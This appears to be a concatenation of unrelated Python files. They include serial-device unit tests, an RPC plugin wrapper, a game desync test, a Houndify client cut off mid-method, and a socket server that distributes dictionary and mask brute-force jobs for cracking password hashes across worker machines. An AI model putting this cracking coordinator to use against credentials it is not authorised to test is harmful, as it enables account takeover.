It MUST be called from another thread.
"""
ret = rpc.run_async(f, *args, **kwargs)
if isinstance(ret, Exception):
raise ret
return ret
class Plugin:
"""
Wraps a plugin to easily call the methods in it.
It has no recovery in it.
Can specify to ensure it is dead (kill_and_restart=True) before use. This
is only useful at tests.
"""
class Method:
def __init__(self, plugin, method):
self.plugin = plugin
self.method = method
async def __call__(self, *args, **kwargs):
return await self.plugin.call(self.method, *args, **kwargs)
def __init__(self, plugin_id, restart=True):
self.plugin_id = plugin_id
self.restart = restart
self.uuid = None
def __getattr__(self, method):
return Plugin.Method(self, method)
async def start(self):
self.uuid = await rpc.call("plugin.start", self.plugin_id)
return self
async def stop(self):
"""
Stops the plugin.
"""
if not self.uuid: # not running
return self
await rpc.call("plugin.stop", self.uuid)
self.uuid = None
return self
RETRY_EVENTS = ["exit", "unknown_plugin at plugin.call", "unknown_plugin"]
async def call(self, method, *args, **kwargs):
"""
Call a method by name.
This is also a workaround calling methods called `call` and `stop`.
"""
if not self.uuid:
await self.call_retry(method, *args, **kwargs)
try:
return await rpc.call(
"plugin.call",
self.uuid,
method,
args or kwargs,
)
except Exception as e:
# if exited or plugin call returns unknown method (refered to the
# method to call at the plugin), restart and try again.
if (str(e) in Plugin.RETRY_EVENTS) and self.restart:
await debug("Restarting plugin", self.plugin_id)
await self.call_retry(method, *args, **kwargs)
else:
raise
async def call_retry(self, method, *args, **kwargs):
# if error because exitted, and may restart,
# restart and try again (no loop)
await self.start()
return await rpc.call(
"plugin.call",
self.uuid,
method,
args or kwargs
)
async def __aenter__(self):
return self
async def __aexit__(self, _type, _value, _traceback):
try:
await self.stop()
except Exception as ex:
if str(ex) != "cant_stop at plugin.stop":
raise
|
__init__.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Copyright (C) 2017, Kai Raphahn <kai.raphahn@laburec.de>
#
import os
import time
import threading
import unittest.mock as mock
import unittest
import easyb
from serial import SerialException
from serial import EIGHTBITS, PARITY_NONE, STOPBITS_ONE
from easyb.definitions import Direction, Length, Priority
from easyb.command import Command
from tests import TestDevice, TestException, TestSerial
from easyb.logging import SerialLogging
__all__ = [
"gmh3710",
"TestControl"
]
old_logging = easyb.log
new_logging = SerialLogging()
new_logging.setup(app="Device", level=0)
console = new_logging.get_writer("console")
console.index.append("SERIAL")
# noinspection PyUnresolvedReferences
console.add_style("SERIAL", "BRIGHT", "YELLOW", "")
console.setup(text_space=15, error_index=["ERROR", "EXCEPTION"])
new_logging.register(console)
new_logging.open()
class TestControl(unittest.TestCase):
"""Testing class for locking module."""
def setUp(self):
easyb.set_logging(new_logging)
return
def tearDown(self):
easyb.set_logging(old_logging)
return
def test_constructor(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
self.assertNotEqual(device, None)
self.assertEqual(device.name, "TEST-DEVICE")
self.assertEqual(device.port, "TEST")
self.assertEqual(device.wait_time, 0.1)
self.assertEqual(len(device.command_list), 1)
self.assertIsNone(device.serial)
return
def test_setup(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
device.setup()
self.assertIsNotNone(device.serial, "Failed: serial is None")
self.assertEqual(device.serial.bytesize, EIGHTBITS)
self.assertEqual(device.serial.parity, PARITY_NONE)
self.assertEqual(device.serial.stopbits, STOPBITS_ONE)
self.assertEqual(device.serial.timeout, 2)
self.assertEqual(device.serial.writeTimeout, 2)
self.assertEqual(device.serial.rtscts, 0)
self.assertEqual(device.serial.dsrdtr, 0)
self.assertEqual(device.serial.xonxoff, 0)
self.assertIsNone(device.serial.interCharTimeout)
return
def test_connect_1(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.open = mock.Mock()
check = device.connect()
self.assertTrue(check)
self.assertTrue(mock_serial.open.called, 'Serial open method not called')
return
def test_connect_2(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.open = mock.Mock(side_effect=SerialException('Attempting to use a port that is not open'))
check = device.connect()
self.assertFalse(check)
self.assertTrue(mock_serial.open.called, 'Serial open method not called')
return
def test_connect_3(self):
"""Test constructor.
"""
device = TestDevice()
mock_serial = mock.Mock()
device._serial = mock_serial
check = device.connect()
self.assertFalse(check)
self.assertFalse(mock_serial.open.called)
return
def test_connect_4(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
check = device.connect()
self.assertFalse(check)
return
def test_disconnect_1(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
mock_serial = mock.Mock()
device.serial = mock_serial
device.serial.is_open = True
mock_serial.close = mock.Mock()
check = device.disconnect()
self.assertTrue(check)
self.assertTrue(mock_serial.close.called, 'Serial close method not called')
return
def test_disconnect_2(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
mock_serial = mock.Mock()
device.serial = mock_serial
device.serial.is_open = False
mock_serial.close = mock.Mock()
check = device.disconnect()
self.assertFalse(check)
self.assertFalse(mock_serial.close.called, 'Serial close method not called')
return
def test_disconnect_3(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
check = device.disconnect()
self.assertFalse(check)
return
def test_disconnect_4(self):
"""Test constructor.
"""
device = TestDevice()
device.port = "TEST"
mock_serial = mock.Mock()
device.serial = mock_serial
device.serial.is_open = True
mock_serial.close = mock.Mock(side_effect=SerialException('Attempting to use a port that is not open'))
check = device.disconnect()
self.assertFalse(check)
self.assertTrue(mock_serial.close.called, 'Serial close method not called')
return
def test_get_command_1(self):
"""Test constructor.
"""
device = TestDevice()
command = device.get_command(0)
self.assertIsNotNone(command)
self.assertEqual(command.name, "Messwert lesen")
self.assertEqual(command.number, 0)
self.assertEqual(command.address, 1)
self.assertEqual(command.code, 0)
return
def test_get_command_2(self):
"""Test constructor.
"""
device = TestDevice()
command = device.get_command(1)
self.assertIsNone(command)
return
def test_send_1(self):
device = TestDevice()
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.write = mock.Mock()
mock_serial.write.return_value = 3
message = easyb.message.Message(address=1, code=0, priority=Priority.NoPriority,
length=Length.Byte3, direction=Direction.FromMaster)
check = device.send(message)
arg_check = bytes([254, 0, 61])
args, _ = mock_serial.write.call_args
self.assertTrue(check)
self.assertTrue(mock_serial.write.called, 'Serial write method not called')
self.assertEqual(args[0], arg_check)
return
def test_send_2(self):
device = TestDevice()
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.write = mock.Mock()
mock_serial.write.return_value = 3
message = easyb.message.Message(address=1, code=0, priority=Priority.NoPriority,
length=Length.Byte6, direction=Direction.FromMaster)
check = device.send(message)
self.assertFalse(check)
return
def test_send_3(self):
device = TestDevice()
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.write = mock.Mock(side_effect=SerialException('Attempting to use a port that is not open'))
mock_serial.write.return_value = 3
message = easyb.message.Message(address=1, code=0, priority=Priority.NoPriority,
length=Length.Byte3, direction=Direction.FromMaster)
check = device.send(message)
self.assertFalse(check)
return
def test_read_receive_1(self):
data = [
[0xfe, 0x0d, 0x1e],
[0x72, 0xff, 0x84, 0x00, 0xfc, 0x05]
]
device = TestDevice()
mock_serial = mock.Mock()
read = TestSerial()
read.read_data = data
device.serial = mock_serial
mock_serial.read = read.read
message = device.receive()
self.assertIsNotNone(message)
self.assertEqual(message.address, 1, 'Failed: address')
self.assertEqual(message.length, Length.Byte9, 'Failed: length')
self.assertEqual(message.direction, Direction.FromSlave, 'Failed: direction')
self.assertEqual(message.priority, Priority.Priority, 'Failed: priority')
return
def test_read_receive_2(self):
device = TestDevice()
mock_serial = mock.Mock()
device.serial = mock_serial
mock_serial.read = mock.Mock(side_effect=SerialException('Attempting to use a port that is not open'))
message = device.receive()
self.assertIsNone(message)
return
def test_read_receive_3(self):
data = [
[0xfe, 0x3d, 0x1e],
[0x72, 0xff, 0x84, 0x00, 0xfc, 0x05]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNone(message)
return
def test_read_receive_4(self):
data = [
[0xfe, 0x51, 0x8d]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNone(message)
return
def test_read_receive_5(self):
data = [
[254, 1, 58]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNotNone(message)
return
def test_read_receive_6(self):
data = [
[254, 3, 52],
[0x72, 0xff, 0x84]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNotNone(message)
self.assertEqual(message.address, 1)
self.assertEqual(message.code, 0)
self.assertEqual(message.length, Length.Byte6)
self.assertEqual(message.direction, Direction.FromSlave)
self.assertEqual(message.priority, Priority.NoPriority)
self.assertEqual(message.stream.data, [254, 3, 52, 0x72, 0xff, 0x84])
return
def test_read_receive_7(self):
data = [
[254, 7, 40],
[141],
[255],
[83],
[141],
[255],
[83],
[141],
[255],
[83],
[]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNotNone(message)
self.assertEqual(message.address, 1)
self.assertEqual(message.code, 0)
self.assertEqual(message.length, Length.Variable)
self.assertEqual(message.direction, Direction.FromSlave)
self.assertEqual(message.priority, Priority.NoPriority)
self.assertEqual(message.stream.data, [254, 7, 40, 141, 255, 83, 141, 255, 83, 141, 255, 83])
return
def test_read_receive_8(self):
data = [
[0xfe, 0x0d, 0x1e],
[0x72, 0xff, 0x84, 0x00, 0xfc, 0x05]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
serial.read_exception = TestException(1, SerialException("Attempting to use a port that is not open"))
device.serial = serial
message = device.receive()
self.assertIsNone(message)
return
def test_read_receive_9(self):
data = [
[254, 7, 40],
[141],
[255],
[83],
[141],
[255],
[83],
[141],
[255],
[83],
[]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
serial.read_exception = TestException(1, SerialException("Attempting to use a port that is not open"))
device.serial = serial
message = device.receive()
self.assertIsNone(message)
return
def test_read_receive_10(self):
data = [
[0xfe, 0x0d, 0x1e],
[0x72, 0xff, 0x84]
]
device = TestDevice()
serial = TestSerial()
serial.read_data = data
device.serial = serial
message = device.receive()
self.assertIsNone(message)
return
def test_status_1(self):
device = TestDevice()
status = 0x8000 | 0x0400
count = device.set_status(status)
states = device.get_status()
self.assertEqual(count, 2)
self.assertEqual(len(states), 2)
self.assertEqual(states[0].bit, 0x0400)
self.assertEqual(states[1].bit, 0x8000)
return
def test_execute_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
command = Command(name="Messwert lesen", code=0)
message = device.execute(command)
self.assertIsNotNone(message)
self.assertEqual(len(message.stream.data), 9)
return
def test_execute_2(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
serial.write_exception = TestException(0, SerialException("Attempting to use a port that is not open"))
device = TestDevice()
device.serial = serial
command = Command(name="Messwert lesen", code=0)
message = device.execute(command)
self.assertIsNone(message)
return
def test_execute_3(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
serial.read_exception = TestException(0, SerialException("Attempting to use a port that is not open"))
device = TestDevice()
device.serial = serial
command = Command(name="Messwert lesen", code=0)
message = device.execute(command)
self.assertIsNone(message)
return
def test_run_command_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
check = device.run_command(0)
message = device.message
self.assertTrue(check)
self.assertIsNotNone(message)
self.assertEqual(len(message.stream.data), 9)
return
def test_run_command_2(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
check = device.run_command(1)
self.assertFalse(check)
return
def test_run_command_3(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
serial.read_exception = TestException(0, SerialException("Attempting to use a port that is not open"))
device = TestDevice()
device.serial = serial
check = device.run_command(0)
self.assertFalse(check)
return
def test_add_command_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
command = Command(name="Messwert lesen", code=0, func_call=device.default_command)
device.add_command(command)
device.list_commands()
check = device.run_command(1)
self.assertTrue(check)
self.assertEqual(len(device.commands), 2)
return
def test_run_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
command = Command(name="Messwert lesen 2", code=0, func_call=device.default_command)
device.add_command(command)
check1 = device.prepare()
check2 = device.run()
check3 = device.close()
self.assertTrue(check1)
self.assertTrue(check2)
self.assertTrue(check3)
return
def test_run_loop_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
check1 = device.prepare()
thread = threading.Thread(target=device.run_loop)
thread.start()
time.sleep(0.1)
while True:
check = device.active
if check is False:
break
if device.interval_counter == 5:
device.do_abort(None, None)
time.sleep(0.01)
check3 = device.close()
self.assertTrue(check1)
self.assertTrue(device.status)
self.assertTrue(check3)
return
def test_run_loop_2(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
column = device.data.columns[0]
column.type = None
self.assertRaises(ValueError, device.run_loop)
return
def test_run_loop_3(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x0d, 0x1e],
[0x70, 0xf6, 0x91, 0xdf, 0xed, 0x0b]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
check1 = device.prepare()
thread = threading.Thread(target=device.run_loop)
thread.start()
time.sleep(0.1)
while True:
check = device.active
if check is False:
break
if device.interval_counter == 25:
device.do_abort(None, None)
time.sleep(0.01)
check3 = device.close()
self.assertTrue(check1)
self.assertFalse(device.status)
return
def test_store_1(self):
data = [
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25],
[0xfe, 0x05, 0x26],
[0x71, 0x00, 0x48, 0xf8, 0x7b, 0x25]
]
serial = TestSerial()
serial.read_data = data
device = TestDevice()
device.serial = serial
thread = threading.Thread(target=device.run_loop)
thread.start()
time.sleep(0.1)
while True:
check = device.active
if check is False:
break
if device.interval_counter == 5:
device.do_abort(None, None)
time.sleep(0.01)
check1 = device.store("excel", "test")
check2 = os.path.exists("test.xlsx")
self.assertTrue(device.status)
self.assertTrue(check1)
self.assertTrue(check2)
os.remove("test.xlsx")
return
|
decorators.py | from threading import Thread
def async(f):
def wrapper(*args, **kwargs):
thr = Thread(target=f, args=args, kwargs=kwargs)
thr.start()
return wrapper
|
test_desync.py | #! python2.7
from multiprocessing import Process
import os
import time
import win32gui
from soundrts import config
config.mods = "crazymod9beta10"
from soundrts import worldplayercomputer2 as wpc2
from soundrts.lib.nofloat import PRECISION
class Computer2ForTests(wpc2.Computer2):
def cheat(self):
self.has = lambda x: True
self.resources = [1000 * PRECISION for _ in self.resources]
_play = wpc2.Computer2.play
def play(self):
self.cheat()
self._play()
wpc2.Computer2 = Computer2ForTests
from soundrts.lib.voice import voice
from soundrts import clientmain
from soundrts.game import MultiplayerGame
from soundrts import servermain
from soundrts import world
def do_nothing(*a, **k):
pass
def remove_voice():
voice._say_now = do_nothing
voice.item = do_nothing
voice.info = do_nothing
MultiplayerGame._countdown = do_nothing
def set_position(x, y):
os.environ['SDL_VIDEO_WINDOW_POS'] = "%s,%s" % (x, y)
def run_client(n, auto):
if 0:#n == 0:
world.PROFILE = True
if 1:#n != 0:
remove_voice()
set_position(0, n * 110 + 50)
clientmain.init_media()
clientmain.connect_and_play(auto=auto)
def run_server():
hwnd = win32gui.GetForegroundWindow()
win32gui.MoveWindow(hwnd, 400, 0, 800, 800, True)
servermain.start_server(parameters="no_metaserver")
class Create:
def __init__(self, map_index, speed, public=""):
self.map_index = map_index
self.speed = speed
self.public = public
def run(self, menu):
menu.push("create %s %s %s" % (self.map_index, self.speed, self.public))
return True
class Invite:
def __init__(self, nb):
self.nb = nb
def run(self, menu):
if getattr(menu, "available_players", False):
menu.push("invite %s" % menu.available_players[0])
self.nb -= 1
if self.nb == 0:
return True
class InviteAI:
def __init__(self, easy=0, aggressive=0, ai2=0):
self.easy = easy
self.aggressive = aggressive
self.ai2 = ai2
def run(self, menu):
for _ in range(self.easy):
menu.push("invite_easy")
time.sleep(.1)
for _ in range(self.aggressive):
menu.push("invite_aggressive")
time.sleep(.1)
for _ in range(self.ai2):
menu.push("invite_ai2")
time.sleep(.1)
return True
class Register:
def run(self, menu):
if menu.invitations:
menu.push("register %s" % menu.invitations[0][0])
return True
class Start:
def run(self, menu):
if len(menu.registered_players) >= menu.map.nb_players_min:
menu.push("start")
return True
if __name__ == "__main__":
n = 1
Process(target=run_server).start()
ais = (0, 1, 10)
#ais = (1, 1, 10)
Process(target=run_client, args=(0, [Create(10, 20), Invite(n), InviteAI(*ais), Start()], )).start()
for i in range(n):
Process(target=run_client, args=(i + 1, [Register()], )).start()
|
functions.py | import socket
import threading
import json
from itertools import product
from time import sleep
from .sql import *
HEADER = 16
PORT = 5050
SERVER = socket.gethostbyname(socket.gethostname())
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "dc"
RDY_MESSAGE = "!OK"
DONE_MESSAGE = "!DONE"
COMPUTER_INFORMATION = "vm"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(ADDR)
class Sock:
def send(conn, addr, data):
print("in send")
data = json.dumps(data).encode(FORMAT)
data_length = len(data)
send_length = str(data_length).encode(FORMAT)
send_length += b' ' * (HEADER - len(send_length))
conn.send(send_length)
conn.send(data)
print("data sent")
def handle_client(conn, addr):
print(f'New Connection, {addr} connected.')
connected = True
try:
while connected:
data_length = conn.recv(HEADER).decode(FORMAT)
if data_length:
print('data recieved')
data_length = int(data_length)
data = json.loads(conn.recv(data_length).decode(FORMAT))
task = data["header"]
print(task)
if task == DISCONNECT_MESSAGE:
print("DCed")
connected = False
elif task == "connect":
gpu = ", ".join(data['ident'])
print(data['ident'])
Machines.ingest(addr, gpu)
any_queue(conn, addr)
elif task == "queue":
if data["ident"]:
Ongoing_job.task_done(data["ident"])
any_queue(conn, addr)
elif task == "decrypted":
Decrypted.ingest(data['hash_code'], data['attack_type'], data['password'])
Ongoing_job.cleanup()
Decrypt_queue.done(data["ident"])
any_queue(conn, addr)
print(f"{addr} {data}")
except ConnectionResetError:
print("force DCed")
conn.close()
Ongoing_job.revert(addr)
Machines.dc(addr)
def start_sock():
server.listen()
print(f"Server is listening on {SERVER}")
while True:
conn, addr = server.accept()
thread = threading.Thread(target=Sock.handle_client, args=(conn, addr))
thread.start()
print(f'[New active connection]')
def any_queue(conn, addr):
print('queueueueueue')
try:
task = Ongoing_job.get_next()
print(task.task_nr)
Ongoing_job.working(task.task_nr, addr)
if task.attack_type == 'dict':
job = []
with open(task.job) as t:
line = t.readline()
while line:
print(line)
job.append(line[:-2])
line = t.readline()
elif task.attack_type == 'mask':
job = task.job
data = pack("decrypt", task.task_nr, task.attack_type, task.algo, task.hash_code, job)
task = task.task_nr
except AttributeError or InvalidRequestError:
data = pack("noq", "", "", "", "", "")
completed = Ongoing_job.full_queue()
task = 0
if not completed:
Decrypt_queue.done()
else:
print(completed)
Sock.send(conn, addr, data)
Machines.update(addr, task)
def pack(header, ident, attack_type, algo, hash_code, job):
return {
'header': header,
'ident': ident,
'attack_type' :attack_type,
'algo': algo,
'hash_code': hash_code,
'job' : job,
}
def mask_generator(settings):
start = int(settings.setting1)
stop = int(settings.setting2)
stop += 1
print(start, stop)
mask_options = ["?l", "?u", "?d", "?s"]
masks = []
for i in range(start, stop):
masks.extend("".join(prod) for prod in product(mask_options, repeat=i))
for i in masks:
print(i)
Ongoing_job.ingest("mask", settings.hash_code, i, settings.algo)
def decrypt_work_queue(data):
if data["decrypt_type"] == 'brute':
if data["costum-length"] == 'no':
setting1 = 8
setting2 = 10
else:
setting1 = data['start']
setting2 = data['stop']
print(data['algo'], data['hash_input'], data["decrypt_type"],
0, str(setting1), str(setting2))
Decrypt_queue.ingest(data['algo'], data['hash_input'],
data["decrypt_type"], 0, str(setting1), str(setting2))
elif data["decrypt_type"] == 'dict':
if data["costum-length"] == 'no':
setting1 = 10000
else:
setting1 = setting1 = data['start']
print(data['algo'], data['hash_input'], data["decrypt_type"], 0, str(setting1),
str(f"{data['selected_dict']}.txt"))
Decrypt_queue.ingest(data['algo'], data['hash_input'], data["decrypt_type"], 0,
str(setting1), str(f"{data['selected_dict']}.txt"))
def next_dectypt_queue():
sleep(10)
while True:
try:
print("queue check")
queue = Decrypt_queue.queue()
print(queue.ongoing)
if not queue:
print("no queue")
sleep(30)
elif queue.ongoing:
("ongoing queue")
sleep(30)
else:
Decrypt_queue.ongoing_task(queue.task_nr)
if queue.decrypt_type == 'brute':
mask_generator(queue)
elif queue.decrypt_type == 'dict':
dict_splitter(queue)
except AttributeError:
sleep(30)
def dict_splitter(settings):
length = int(settings.setting1)
cosen_dict = settings.setting2
with open(f'./libs/{cosen_dict}') as d:
line = d.readline()
cnt = 1
number = 1
while line:
job = f"./dict jobs/{number}job.txt"
with open(job, 'w') as wj:
write = True
while write:
print(f"Line {cnt}: {line.strip()}")
wj.write(line)
line = d.readline()
cnt += 1
if cnt == length:
cnt = 1
number +=1
wj.close
write = False
Ongoing_job.ingest("dict", settings.hash_code,job , settings.algo)
|
houndify.py | ##############################################################################
# Copyright 2015 SoundHound, Incorporated. All rights reserved.
##############################################################################
import base64
import hashlib
import hmac
import httplib
import json
import threading
import time
import uuid
import urllib
import zlib
import struct
import urlparse
try:
import pySHSpeex
except ImportError:
pass
HOUND_SERVER = "api.houndify.com"
TEXT_ENDPOINT = "/v1/text"
VOICE_ENDPOINT = "/v1/audio"
VERSION = '0.5.0'
class _BaseHoundClient:
def __init__(self, clientID, clientKey, userID, hostname, proxy):
self.clientID = clientID
self.clientKey = base64.urlsafe_b64decode(clientKey)
self.userID = userID
self.hostname = hostname
self.proxy = proxy
self.conversationStates = []
self.HoundRequestInfo = {
'ClientID': clientID,
'UserID': userID,
'SDK': 'python2.7',
'SDKVersion': VERSION
}
def setHoundRequestInfo(self, key, value):
"""
There are various fields in the HoundRequestInfo object that can
be set to help the server provide the best experience for the client.
Refer to the Houndify documentation to see what fields are available
and set them through this method before starting a request
"""
self.HoundRequestInfo[key] = value
def setLocation(self, latitude, longitude):
"""
Many domains make use of the client location information to provide
relevant results. This method can be called to provide this information
to the server before starting the request.
latitude and longitude are floats (not string)
"""
self.HoundRequestInfo['Latitude'] = latitude
self.HoundRequestInfo['Longitude'] = longitude
self.HoundRequestInfo['PositionTime'] = int(time.time())
def setConversationState(self, conversation_state):
self.HoundRequestInfo["ConversationState"] = conversation_state
if "ConversationStateTime" in conversation_state:
self.HoundRequestInfo["ConversationStateTime"] = conversation_state["ConversationStateTime"]
def getConversationStateForResult(self, idx):
if (idx >= len(self.conversationStates)):
return None
return self.conversationStates[idx]
def _saveConversationStates(self, parsedMsg):
## Check for ConversationState and ConversationStateTime
if "AllResults" in parsedMsg:
self.conversationStates = []
for result in parsedMsg["AllResults"]:
if "ConversationState" in result:
self.conversationStates.append(result["ConversationState"])
else:
self.conversationStates.append(None)
def _generateHeaders(self, requestInfo):
requestID = str(uuid.uuid4())
if 'RequestID' in requestInfo:
requestID = requestInfo['RequestID']
timestamp = str(int(time.time()))
if 'TimeStamp' in requestInfo:
timestamp = str(requestInfo['TimeStamp'])
HoundRequestAuth = self.userID + ";" + requestID
h = hmac.new(self.clientKey, (HoundRequestAuth + timestamp).encode('utf-8'), hashlib.sha256)
signature = base64.urlsafe_b64encode(h.digest()).decode('utf-8')
HoundClientAuth = self.clientID + ";" + timestamp + ";" + signature
headers = {
'Hound-Request-Info': json.dumps(requestInfo),
'Hound-Request-Authentication': HoundRequestAuth,
'Hound-Client-Authentication': HoundClientAuth
}
if 'InputLanguageEnglishName' in requestInfo:
headers["Hound-Input-Language-English-Name"] = requestInfo["InputLanguageEnglishName"]
if 'InputLanguageIETFTag' in requestInfo:
headers["Hound-Input-Language-IETF-Tag"] = requestInfo["InputLanguageIETFTag"]
return headers
class TextHoundClient(_BaseHoundClient):
"""
TextHoundClient is used for making text queries for Hound
"""
def __init__(self, clientID, clientKey, userID, requestInfo = dict(), hostname = HOUND_SERVER):
_BaseHoundClient.__init__(self, clientID, clientKey, userID, hostname)
self.HoundRequestInfo.update(requestInfo)
def query(self, query):
"""
Make a text query to Hound.
query is the string of the query
"""
headers = self._generateHeaders(self.HoundRequestInfo)
conn = httplib.HTTPSConnection(self.hostname)
conn.request('GET', TEXT_ENDPOINT + '?query=' + urllib.quote(query), headers = headers)
resp = conn.getresponse()
raw_response = resp.read()
try:
parsedMsg = json.loads(raw_response)
self._saveConversationStates(parsedMsg)
except:
pass
return raw_response
class StreamingHoundClient(_BaseHoundClient):
"""
StreamingHoundClient is used to send streaming audio to the Hound
server and receive live transcriptions back
"""
def __init__(self, clientID, clientKey, userID, proxy = "", requestInfo = dict(), hostname = HOUND_SERVER, sampleRate = 16000, useSpeex = False):
"""
clientID and clientKey are "Client ID" and "Client Key"
from the Houndify.com web site.
"""
_BaseHoundClient.__init__(self, clientID, clientKey, userID, hostname, proxy)
self.sampleRate = sampleRate
self.useSpeex = useSpeex
self.HoundRequestInfo['PartialTranscriptsDesired'] = True
self.HoundRequestInfo.update(requestInfo)
def setSampleRate(self, sampleRate):
"""
Override the default sample rate of 16 khz for audio.
NOTE that only 8 khz and 16 khz are supported
"""
if sampleRate == 8000 or sampleRate == 16000:
self.sampleRate = sampleRate
else:
raise Exception("Unsupported sample rate")
def start(self, listener):
"""
This method is used to make the actual connection to the server and prepare
for audio streaming.
listener is a HoundListener (or derived class) object
"""
self.audioFinished = False
self.buffer = ''
if self.proxy:
url = urlparse.urlparse(self.proxy)
self.conn = httplib.HTTPSConnection(url.hostname, url.port)
else:
self.conn = httplib.HTTPSConnection(self.hostname)
self.conn.putrequest('POST', VOICE_ENDPOINT)
headers = self._generateHeaders(self.HoundRequestInfo)
if self.proxy:
self.conn.set_tunnel(self.hostname, 443, headers)
headers['Transfer-Encoding'] = 'chunked';
for header in headers:
self.conn.putheader(header, headers[header])
self.conn.endheaders()
self.callbackTID = threading.Thread(target = self._callback, args = (listener,))
self.callbackTID.start()
audio_header = self._wavHeader(self.sampleRate)
